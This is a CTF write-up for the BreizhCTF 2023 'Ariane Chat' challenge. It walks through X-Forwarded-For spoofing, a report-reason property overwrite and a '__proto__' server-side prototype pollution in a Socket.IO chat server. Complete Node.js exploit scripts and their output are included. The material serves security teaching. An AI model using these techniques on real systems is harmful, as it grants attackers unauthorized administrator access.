Featured image of post Server-Side Prototype Pollution on a WebSocket server - BreizhCTF Ariane Chat

Server-Side Prototype Pollution on a WebSocket server - BreizhCTF Ariane Chat

Use a Server-Side Prototype Pollution to get an admin account on a Socket.IO chat server. Writeup of the Ariane Chat challenge of the BreizhCTF 2023.

Ariane Chat - BreizhCTF Writeup

In this article, we will solve the second hardest web challenge of the BreizhCTF 2023. Ariane chat is a chat application based on a WebSocket/Socket.IO server. We have access to the backend source code of the challenge.

Description: Ariane chat offers a new online chat service. It is equipped with intelligent moderation, but it is struggling to gather funding.

TL;DR

The goal is to exploit a lack of access control in order to reach a function vulnerable to Server-Side Prototype Pollution (SSPP). Then, change the admin property to true to obtain an administrator account when creating a new user and retrieve the flag.

Overview

The chat application is based on Socket.IO, a library that enables real-time, bidirectional and event-based communication between the browser and the server using WebSockets.

Socket.IO - Bidirectional communication

The image below describes the file tree of the application’s source code.

Source code tree

The chat.gateway.ts file defines the following Socket.IO listeners:

Functions Description Pre-requisites
login Login as a Human with a username
loginAsBot Login as a Bot with a username x-forwarded-for must be 127.0.0.1
loginAsAdmin Login as an Admin with a username and a password isAdmin must be true and not authenticated
sendMessage Send a message to the chat (authorName and message parameters) Authenticated
reportClient Report a username with a reason Authenticated as Bot
banClient Ban a message with a reason Authenticated as Admin
getBanList List of banned people Authenticated as Admin

For example, there are the two functions/listeners to login as a Human and send a message to everyone in the chat:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
export class ChatGateway implements OnGatewayConnection, OnGatewayDisconnect {
    // ...

    @UsePipes(new ValidationPipe())
    @SubscribeMessage('login')
    async loginAsHuman(@ConnectedSocket() socket: Socket, @MessageBody() body: LoginDto) {
        const { username } = body;
        const client = new Client(socket, ClientClass.HUMAN);
        client.username = username;
        this.chatService.addClient(socket.id, client);
    }
    // ...

    @UsePipes(new ValidationPipe())
    @SubscribeMessage('sendMessage')
    async onChat(@ConnectedSocket() socket: Socket, @MessageBody('message') messageStr: string) {
        const messageInstance = this.chatService.processMessage(socket.id, messageStr);

        this.server.emit('onMessage', {
            authorName: messageInstance.author,
            message: messageInstance.content,
        });
    }

You can create a simple client using the library socket.io-client to send (emit) and receive (on) events from the server.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import { io } from "socket.io-client";

const url = "ws://localhost:8888";

const human = io(url);

// ------------- RECV -------------------
human.on("onMessage", (...args) => {
    console.log("RECV (onMessage):")
    console.log(args);
});

// ------------- SEND -------------------
human.emit("login", {"username": "toto"});
human.emit("sendMessage", {
    "authorName": "toto",
    "message": "Hello world !"
});

In the example above, we logged as toto and send the message Hello world !. The server responds to us with the author’s name and message.

1
2
3
$ node client.mjs
RECV (onMessage):
[ { authorName: 'toto', message: 'Hello world !' } ]

The flag will be sent if we are able to log in as an admin. The loginAsAdmin function does not verify the username and password, rather, we only need to pass the if (client.isAdmin) condition to obtain the flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
export class ChatGateway implements OnGatewayConnection, OnGatewayDisconnect {
    // ...

    @UsePipes(new ValidationPipe())
    @SubscribeMessage('loginAsAdmin')
    async loginAsAdmin(@ConnectedSocket() socket: Socket, @MessageBody() body: LoginDto) {
        if (!body.password) {
            throw new WsException('A password is required to authenticate as admin');
        }
        if (this.chatService.getClientBySocket(socket.id)) {
            throw new WsException('You are already logged in');
        }

        const client = new Client(socket, ClientClass.HUMAN);
        client.username = body.username;
        this.chatService.addClient(socket.id, client);

        // TODO: Admin authentication
        // if (crypto.createHash('sha512').update(body.password).digest('hex') === 'TODO') {
        // 	client.isAdmin = true;
        // }
        if (client.isAdmin) {
            socket.emit('onmessage', 'Welcome home admin, BZHCTF{}');
        }
    }

Within this section, we have outlined the functions of the chat application and identified the objective of the challenge.

Exploitation

SSPP (Server-Side Prototype Pollution) is a type of prototype pollution that operates on the server. Prototype pollution is a JavaScript vulnerability that enables an attacker to add arbitrary properties to global object prototypes, which may then be inherited by user-defined objects. What is prototype pollution?

Identify the SSPP

The function getCanceledPeople from the moderation.service.ts file is vulnerable to SSPP (Server-Side Prototype Pollution).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
export class ModerationService {
    // ...

    public getCanceledPeople(): {
        [username: string]: {
            [reason: string]: string;
        };
    } {
        const list: {
            [username: string]: {
                [reason: string]: string;
            };
        } = {};

        for (const [username, [message, reason]] of this.bannedUsers) {
            if (!list[username]) {
                list[username] = {};
            }
            list[username][message] = reason; // <-- SSPP
        }

        return list;
    }

Since there are no restrictions on the variables, we have the ability to manipulate the values of username, message, and reason. As a result, we can modify the default value of the isAdmin property for an object to true.

1
2
3
4
5
6
let username = "__proto__";
let message = "isAdmin";
let reason = "true"; // any string with length >= 1 to pass the condition

list[username][message] = reason
// list["__proto__"]["isAdmin"] = "true"

Since client.isAdmin is initially undefined, the prototype pollution will set the new default value of the isAdmin property. To set up the SSPP, we must take the following steps:

  1. Register a Human named __proto__
  2. Send the message isAdmin
  3. Find a way to ban the message isAdmin with a reason to true (covered in the next section)

In this section, we have found the main vulnerability of the challenge which is an SSPP (Server-Side Prototype Pollution). However, we cannot directly use it, this will be explain in the next section.

Trigger the SSPP

The vulnerable function getCanceledPeople is only called by the getBanList listener which is reserved for administrators.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
export class ChatGateway implements OnGatewayConnection, OnGatewayDisconnect {
    // ...

    @SubscribeMessage('getBanList')
    async getBanList(@ConnectedSocket() socket: Socket) {
        const client = this.chatService.getClientBySocket(socket.id);
        if (!client) {
            throw new WsException('Not authenticated');
        }
        if (!client.isAdmin) {
            throw new WsException('Only moderators are allowed to list banned people');
        }

        socket.emit('setBanList', this.moderationService.getCanceledPeople());
    }

We have a problem! To become an administrator, we need to use the getCanceledPeople function which is called by the getBanList listener which is reserved for administrators. It seems to be rabbit hole but its not ! Why ? Because there is another vulnerability in the code.

In the sus (suspicious) function we can modify a property of an authenticated client. For example, we can set client['isAdmin'] = 'suspicious';. This will allow us to bypass the if (!client.isAdmin) condition inside getBanList. However we cannot bypass the if (client.isAdmin) condition in loginAsAdmin because this function require an unauthenticated client.

1
2
3
4
5
6
7
export class ModerationService {
    // ...

    public sus(client: Client, reason: SusReason) {
        client[reason] = 'suspicious';
        this.reportedUsers.add(client.username);
    }

If we report a user with the reason to isAdmin. The reported client will be an adminstrator.

1
2
3
client["isAdmin"] = 'suspicious';

if (client.isAdmin) // will be true

To report a user, we must be a Bot. The only condition to be a Bot is to set the x-forwarded-for to 127.0.0.1, then use the loginAsBot listener.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
export class ChatGateway implements OnGatewayConnection, OnGatewayDisconnect {
    // ...

    @UsePipes(new ValidationPipe())
    @SubscribeMessage('loginAsBot')
    async loginAsBot(@ConnectedSocket() socket: Socket, @MessageBody() body: LoginDto) {
        const ip = [socket.handshake.headers['x-forwarded-for'], socket.handshake.address];

        if (!ip.includes('127.0.0.1')) {
            throw new WsException('Unauthorized');
        }

        const client = new Client(socket, ClientClass.BOT);
        client.username = body.username;
        this.chatService.addClient(socket.id, client);
    }
    // ...

    @UsePipes(new ValidationPipe())
    @SubscribeMessage('reportClient')
    async reportClient(@ConnectedSocket() socket: Socket, @MessageBody() body: ReportClientDto) {
        const { username, reason } = body;

        // Authenticate client
        const client = this.chatService.getClientBySocket(socket.id);
        if (!client) {
            throw new WsException('Not authenticated');
        }
        if (client.classType !== ClientClass.BOT) {
            throw new WsException('Not a bot');
        }
        if (client.username === username) {
            throw new WsException('You cannot report yourself');
        }

        const suspected = this.chatService.getClientByUsername(username);
        if (suspected.classType === ClientClass.BOT || suspected.isAdmin) {
            throw new WsException('You cannot report admins or bots');
        }
        if (!suspected) {
            throw new WsException('This user does not exist');
        }
        this.moderationService.sus(suspected, reason);
    }

So we can create a little PoC that will call the getBanList function:

  1. Register a Human
  2. Register a Bot
  3. The Bot will report the Human with a reason isAdmin (so the Human will be an administrator)
  4. The Human (administrator) will call the getBanList function
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import { io } from "socket.io-client";

// const url = "ws://localhost:8888";
const url = "https://arianechat-3bb948c9ac36cf54.ctf.bzh/";

const human = io(url);
const bot = io(url, {
    extraHeaders: {
        "x-forwarded-for": "127.0.0.1"
    }
});

// ------------- RECV -------------------
human.onAny((eventName, ...args) => {
    console.log(`HUMAN RECV (${eventName}):`)
    console.log(args);
});
bot.onAny((eventName, ...args) => {
    console.log(`BOT RECV (${eventName}):`)
    console.log(args);
});

// ------------- SEND -------------------

// Human that will be reported as suspicious to be an admin
// then call the getBanList function to trigger the SSPP
human.emit("login", {"username": "toto"});

// Bot that will report the Human
bot.emit("loginAsBot", {"username": "bot"});


setTimeout(() => {
    // The Human is now admin, he can call the getBanList function
    bot.emit("reportClient", {
        "username": "toto",
        "reason": "isAdmin"
    });

    setTimeout(() => {
        // The Human triggers the SSPP
        human.emit("getBanList");
    }, 500);
}, 500)

After executing the script, we successfully call the getBanList function which returns an empty array as expected since we have not banned any users yet.

1
2
3
$ node test.mjs
HUMAN RECV (setBanList):
[ {} ]

Final PoC

Having identified the SSPP and our ability to trigger it, we can merge the two steps above to construct the complete exploit chain. Here is a documented the PoC in Javascript:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import { io } from "socket.io-client";

const url = "ws://localhost:8888";

const human = io(url);
const banUser = io(url);
const flagUser = io(url);
const bot = io(url, {
    extraHeaders: {
        "x-forwarded-for": "127.0.0.1"
    }
});

// ------------- RECV -------------------
const users = {
    "human": human,
    "banUser": banUser,
    "bot": bot,
    "flagUser": flagUser
};
for (let key in users) {
    let socket = users[key];
    // Listen on all emitters
    socket.onAny((eventName, ...args) => {
        console.log(`${key} RECV (${eventName}):`)
        console.log(args);
    });
}

// ------------- SEND -------------------
const sleep = 1000;

// Human that will be reported as suspicious to be an admin
// then call the getBanList function to trigger the SSPP
human.emit("login", {"username": "toto"});

// Send the message that will be ban by the futur admin Human
banUser.emit("login", {"username": "__proto__"});
banUser.emit("sendMessage", {
    "authorName": "__proto__",
    "message": "isAdmin"
});

// Bot that will report the Human
bot.emit("loginAsBot", {"username": "bot"});

setTimeout(() => {
    // The Human is now admin
    // he can call banClient & getBanList functions
    bot.emit("reportClient", {
        "username": "toto",
        "reason": "isAdmin"
    });

    setTimeout(() => {
        // Prepare the SSPP
        // list[username][message] = reason
        // list[__proto__][isAdmin] = true
        human.emit("banClient", {
            "message": "isAdmin",
            "reason": "true"
        })

        setTimeout(() => {
            // The Human triggers the SSPP
            human.emit("getBanList");

            setTimeout(() => {
                // Login as admin to get the flag
                flagUser.emit("loginAsAdmin", {
                    "username": "whatever",
                    "password": "whatever"
                });
            }, sleep);
        }, sleep);
    }, sleep);
}, sleep);

There is the execution of the PoC :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ node poc.mjs
human RECV (onMessage):
[ { authorName: '__proto__', message: 'isAdmin' } ]
banUser RECV (onMessage):
[ { authorName: '__proto__', message: 'isAdmin' } ]
flagUser RECV (onMessage):
[ { authorName: '__proto__', message: 'isAdmin' } ]
bot RECV (onMessage):
[ { authorName: '__proto__', message: 'isAdmin' } ]
human RECV (setBanList):
[ {} ]
flagUser RECV (onmessage):
[ 'Welcome home admin, BZHCTF{DontPutUserInputIntoYourKeys}' ]

And we get the flag BZHCTF{DontPutUserInputIntoYourKeys} !!!

Built with Hugo
Theme Stack designed by Jimmy